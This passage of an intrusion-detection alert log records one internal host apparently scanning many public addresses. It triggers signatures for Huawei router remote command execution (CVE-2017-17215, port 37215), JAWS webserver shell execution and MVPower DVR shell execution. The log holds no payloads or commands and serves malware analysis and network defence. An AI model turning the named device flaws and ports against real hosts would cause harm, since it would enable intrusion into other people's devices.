Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.67.118.32

Timestamp:	06/10/24-15:38:00.006377
SID:	2829579
Source Port:	45572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.188.47.47

Timestamp:	06/10/24-15:38:00.242237
SID:	2835222
Source Port:	45198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.214.52.148

Timestamp:	06/10/24-15:38:02.512532
SID:	2835222
Source Port:	34816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 161.82.119.218

Timestamp:	06/10/24-15:38:02.231111
SID:	2030092
Source Port:	41688
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.103.207.1

Timestamp:	06/10/24-15:38:00.236295
SID:	2829579
Source Port:	45428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.59.124.13

Timestamp:	06/10/24-15:38:00.027699
SID:	2829579
Source Port:	55096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 80.48.225.205

Timestamp:	06/10/24-15:38:02.224313
SID:	2030092
Source Port:	41524
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 13.177.39.90

Timestamp:	06/10/24-15:38:02.230506
SID:	2030092
Source Port:	42362
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.136.229.6

Timestamp:	06/10/24-15:38:02.817519
SID:	2835222
Source Port:	60560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.102.226.8

Timestamp:	06/10/24-15:38:02.753767
SID:	2835222
Source Port:	32970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.100.179.179

Timestamp:	06/10/24-15:38:02.745716
SID:	2829579
Source Port:	45604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.35.194.89

Timestamp:	06/10/24-15:38:02.823755
SID:	2829579
Source Port:	39666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.48.146.219

Timestamp:	06/10/24-15:38:02.825900
SID:	2829579
Source Port:	56588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 118.208.232.79

Timestamp:	06/10/24-15:38:02.096206
SID:	2025883
Source Port:	35516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.16.252.113

Timestamp:	06/10/24-15:38:00.220635
SID:	2835222
Source Port:	34654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.76.237.97

Timestamp:	06/10/24-15:38:02.487616
SID:	2829579
Source Port:	38160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.207.208.126

Timestamp:	06/10/24-15:38:02.822383
SID:	2829579
Source Port:	44278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 194.55.24.22

Timestamp:	06/10/24-15:37:59.760581
SID:	2030092
Source Port:	35872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.148.119.5

Timestamp:	06/10/24-15:38:02.767730
SID:	2835222
Source Port:	59890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 145.29.230.140

Timestamp:	06/10/24-15:38:02.114191
SID:	2030092
Source Port:	59022
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.184.123.16

Timestamp:	06/10/24-15:38:02.926997
SID:	2835222
Source Port:	42424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 96.121.230.115

Timestamp:	06/10/24-15:37:59.786107
SID:	2030092
Source Port:	40246
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.208.117

Timestamp:	06/10/24-15:38:02.681567
SID:	2835222
Source Port:	35328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.234.121.196

Timestamp:	06/10/24-15:38:02.847965
SID:	2835222
Source Port:	46436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 221.87.106.132

Timestamp:	06/10/24-15:38:02.159854
SID:	2030092
Source Port:	46328
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.50.100.135

Timestamp:	06/10/24-15:37:59.998646
SID:	2829579
Source Port:	59662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.184.200.60

Timestamp:	06/10/24-15:38:02.920636
SID:	2829579
Source Port:	57886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.81.150.33

Timestamp:	06/10/24-15:38:02.764373
SID:	2835222
Source Port:	43254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.192.233.189

Timestamp:	06/10/24-15:38:00.229452
SID:	2829579
Source Port:	52390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.30.176.173

Timestamp:	06/10/24-15:38:02.835522
SID:	2829579
Source Port:	45676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.230.39.62

Timestamp:	06/10/24-15:38:00.034890
SID:	2835222
Source Port:	34742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.138.11.171

Timestamp:	06/10/24-15:38:02.784346
SID:	2835222
Source Port:	39098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.230.194.3

Timestamp:	06/10/24-15:37:59.967169
SID:	2829579
Source Port:	36602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.144.136.243

Timestamp:	06/10/24-15:37:59.982567
SID:	2829579
Source Port:	60620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.208.52.212

Timestamp:	06/10/24-15:38:02.682611
SID:	2829579
Source Port:	53394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 181.232.47.252

Timestamp:	06/10/24-15:37:59.793177
SID:	2030092
Source Port:	52842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.167.61.202

Timestamp:	06/10/24-15:38:00.179963
SID:	2829579
Source Port:	44542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.188.36.80

Timestamp:	06/10/24-15:38:02.919148
SID:	2829579
Source Port:	44646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.82.178.96

Timestamp:	06/10/24-15:38:02.924570
SID:	2829579
Source Port:	57234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.25.198.155

Timestamp:	06/10/24-15:38:00.225874
SID:	2829579
Source Port:	60486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.21.231.68

Timestamp:	06/10/24-15:38:00.038461
SID:	2835222
Source Port:	51092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.7.198.77

Timestamp:	06/10/24-15:38:00.264605
SID:	2829579
Source Port:	48610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 181.95.234.17

Timestamp:	06/10/24-15:38:02.088585
SID:	2030092
Source Port:	42532
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.234.210.66

Timestamp:	06/10/24-15:38:00.246351
SID:	2829579
Source Port:	41150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.239.33.211

Timestamp:	06/10/24-15:38:02.805331
SID:	2835222
Source Port:	37884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.91.3.35

Timestamp:	06/10/24-15:38:02.824797
SID:	2829579
Source Port:	49450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.92.127.129

Timestamp:	06/10/24-15:37:59.939523
SID:	2835222
Source Port:	56768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.53.161.229

Timestamp:	06/10/24-15:37:59.940258
SID:	2835222
Source Port:	49626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.252.226.228

Timestamp:	06/10/24-15:37:59.953764
SID:	2835222
Source Port:	58684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.168.73.24

Timestamp:	06/10/24-15:38:00.204323
SID:	2835222
Source Port:	45564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.27.124.211

Timestamp:	06/10/24-15:38:00.235344
SID:	2829579
Source Port:	51868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.79.189.48

Timestamp:	06/10/24-15:38:00.166755
SID:	2835222
Source Port:	34632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.71.37.130

Timestamp:	06/10/24-15:38:00.272286
SID:	2829579
Source Port:	38538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.79.220.96

Timestamp:	06/10/24-15:38:02.703161
SID:	2835222
Source Port:	45526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.237.134.242

Timestamp:	06/10/24-15:38:00.190865
SID:	2829579
Source Port:	32862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.46.223

Timestamp:	06/10/24-15:38:00.250990
SID:	2829579
Source Port:	50800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.151.233.250

Timestamp:	06/10/24-15:38:02.773931
SID:	2835222
Source Port:	60466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.121.202.25

Timestamp:	06/10/24-15:38:02.867036
SID:	2829579
Source Port:	52678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.122.248.88

Timestamp:	06/10/24-15:38:02.766582
SID:	2829579
Source Port:	52936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.117.101.224

Timestamp:	06/10/24-15:37:59.928827
SID:	2829579
Source Port:	45682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.46.72.248

Timestamp:	06/10/24-15:38:02.729371
SID:	2835222
Source Port:	60038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.122.95.109

Timestamp:	06/10/24-15:38:02.707896
SID:	2829579
Source Port:	52190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.217.26

Timestamp:	06/10/24-15:38:02.854671
SID:	2835222
Source Port:	60760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 208.149.111.33

Timestamp:	06/10/24-15:38:02.185065
SID:	2030092
Source Port:	34914
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.150.3.195

Timestamp:	06/10/24-15:38:02.705525
SID:	2835222
Source Port:	49644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 205.225.173.196

Timestamp:	06/10/24-15:38:02.093773
SID:	2030092
Source Port:	48928
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.64.38.156

Timestamp:	06/10/24-15:38:02.698008
SID:	2829579
Source Port:	42586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.102.185.160

Timestamp:	06/10/24-15:38:00.132023
SID:	2835222
Source Port:	43292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.200.122.252

Timestamp:	06/10/24-15:38:02.758344
SID:	2829579
Source Port:	33982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 96.74.255.252

Timestamp:	06/10/24-15:38:02.121056
SID:	2030092
Source Port:	34212
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.167.167.199

Timestamp:	06/10/24-15:38:00.249566
SID:	2835222
Source Port:	49874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 106.7.166.126

Timestamp:	06/10/24-15:38:02.145053
SID:	2030092
Source Port:	35910
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.167.31.0

Timestamp:	06/10/24-15:38:02.762083
SID:	2835222
Source Port:	59392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.213.29.197

Timestamp:	06/10/24-15:38:02.911966
SID:	2829579
Source Port:	33880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.222.149.196

Timestamp:	06/10/24-15:38:00.034176
SID:	2829579
Source Port:	36348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.190.17.120

Timestamp:	06/10/24-15:38:00.248812
SID:	2829579
Source Port:	33070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.28.97.254

Timestamp:	06/10/24-15:38:02.716092
SID:	2829579
Source Port:	42970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.211.133.216

Timestamp:	06/10/24-15:38:02.506272
SID:	2829579
Source Port:	32782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.46.144.10

Timestamp:	06/10/24-15:38:02.721224
SID:	2835222
Source Port:	38284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 67.115.43.219

Timestamp:	06/10/24-15:38:02.084991
SID:	2025883
Source Port:	58912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.57.169.86

Timestamp:	06/10/24-15:38:00.013509
SID:	2829579
Source Port:	52976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 204.44.180.10

Timestamp:	06/10/24-15:38:02.298942
SID:	2030092
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.129.88.86

Timestamp:	06/10/24-15:38:00.270805
SID:	2829579
Source Port:	57758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.30.124.178

Timestamp:	06/10/24-15:37:59.943220
SID:	2835222
Source Port:	34092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.146.144.209

Timestamp:	06/10/24-15:38:02.833196
SID:	2835222
Source Port:	56460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.223.243.35

Timestamp:	06/10/24-15:38:00.008957
SID:	2829579
Source Port:	36608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.235.129

Timestamp:	06/10/24-15:38:02.653727
SID:	2829579
Source Port:	38800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.21.102.72

Timestamp:	06/10/24-15:38:02.819947
SID:	2835222
Source Port:	46090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.158.23.49

Timestamp:	06/10/24-15:38:02.877070
SID:	2829579
Source Port:	54630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.196.189.226

Timestamp:	06/10/24-15:37:59.954562
SID:	2835222
Source Port:	33990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 50.13.193.163

Timestamp:	06/10/24-15:37:59.753726
SID:	2030092
Source Port:	58648
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 209.207.220.115

Timestamp:	06/10/24-15:38:02.123851
SID:	2030092
Source Port:	46196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.134.168.58

Timestamp:	06/10/24-15:38:00.255183
SID:	2835222
Source Port:	55170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.186.239.153

Timestamp:	06/10/24-15:37:59.981701
SID:	2829579
Source Port:	41120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.46.209.218

Timestamp:	06/10/24-15:38:00.209800
SID:	2829579
Source Port:	46028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.79.10.64

Timestamp:	06/10/24-15:37:59.944688
SID:	2829579
Source Port:	46644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 80.234.35.77

Timestamp:	06/10/24-15:37:59.863643
SID:	2025883
Source Port:	43232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 2.133.83.163

Timestamp:	06/10/24-15:38:02.149120
SID:	2030092
Source Port:	58634
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.122.197.14

Timestamp:	06/10/24-15:38:02.846884
SID:	2835222
Source Port:	53768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 153.10.225.113

Timestamp:	06/10/24-15:38:02.119333
SID:	2030092
Source Port:	35946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 213.227.25.210

Timestamp:	06/10/24-15:37:59.776818
SID:	2030092
Source Port:	59898
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.54.58

Timestamp:	06/10/24-15:38:00.010670
SID:	2835222
Source Port:	54964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.100.123.7

Timestamp:	06/10/24-15:38:02.810751
SID:	2835222
Source Port:	53740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.29.235.89

Timestamp:	06/10/24-15:37:59.991203
SID:	2835222
Source Port:	52860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.86.51.96

Timestamp:	06/10/24-15:38:02.789775
SID:	2835222
Source Port:	51240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 78.199.201.121

